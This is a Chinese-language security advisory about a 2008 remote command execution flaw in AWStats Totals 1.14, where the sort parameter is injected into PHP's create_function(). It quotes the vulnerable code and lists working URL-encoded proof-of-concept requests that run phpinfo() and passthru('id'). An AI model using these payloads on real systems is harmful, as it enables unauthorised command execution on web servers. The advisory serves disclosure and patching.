阅读全部内容

AWStats Totals sort参数远程命令执行漏洞

  [字体: ]


受影响系统:
Telartis AWStats Totals 1.14
不受影响系统:
Telartis AWStats Totals 1.15
描述:
BUGTRAQ  ID: 30856

AWStats Totals是用于查看AWStats日志分析工具总数的简单PHP脚本。

AWStats Totals取了3个URL参数month、year和sort,并未经有效性检查便使用了这些参数。程序使用sort参数通过create_function()函数构建匿名的PHP函数:

> function multisort(&$array, $key) {
> $cmp = create_function('$a, $b',
> 'if ($a["'.$key.'"] == $b["'.$key.'"]) return 0;'.
> 'return ($a["'.$key.'"] > $b["'.$key.'"]) ? -1 : 1;');
> usort($array, $cmp);
> }
>
> if ($sort == 'config') sort($rows); else multisort($rows, $sort);

如果精心匹配引号和尖括号的话,就可以向函数代码中注入PHP表达式。例如,如果要运行phpinfo()函数,可以设置如下的sort值:

"].phpinfo().$a["

由于会多次运行所注入的代码,因此可以在单次调用后退出程序:

"].phpinfo().exit().$a["

还可以在较新版本PHP的字符串中使用变量扩展注入PHP表达式:

{${phpinfo()}}{${exit()}}

<*来源:Elliot Kendall (ekendall@brandeis.edu
  
  链接:http://marc.info/?l=bugtraq&m=121977666015052&w=2
        http://secunia.com/advisories/31630/
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

http://host.tld/some/path/awstatstotals.php?sort=%22%5d%2ephpinfo%28%29%2eexit%28%29%2e%24a%5b%22
http://host.tld/some/path/awstatstotals.php?sort=%22%5d%2epassthru%28%27id%27%29%2eexit%28%29%2e%24a%5b%22
http://host.tld/some/path/awstatstotals.php?sort=%7b%24%7bphpinfo%28%29%7d%7d%7b%24%7bexit%28%29%7d%7d
http://host.tld/some/path/awstatstotals.php?sort=%7b%24%7bpassthru%28chr(105)%2echr(100)%29%7d%7d%7b%24%7bexit%28%29%7d%7d

建议:
厂商补丁:

Telartis
--------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.telartis.nl/xcms/awstats/


日期:2008年08月

【 hits:】 【 评论 】 【 推荐 】 【 打印
上一篇:LibTIFF tif_lzw.c文件整数下溢漏洞
下一篇:Kyocera Mita Scanner File Utility文件传输目录遍历漏洞
相关新闻      
为什么选择连天科技
河南连天科技有限公司 ( LianTian Technology Co.,Ltd. ),是国内从事网络安全的高科技企业之一。
连天科技是Radware、Mirage、绿盟、AVENTAIL、Sonicwall、比蒙等国际国内知名厂商的河南区域战略合作伙伴,我们本着“专业、专注、全心、全程”的服务理念为客户提供全面的信息安全解决方案,协助客户建立安全可靠的运营环境。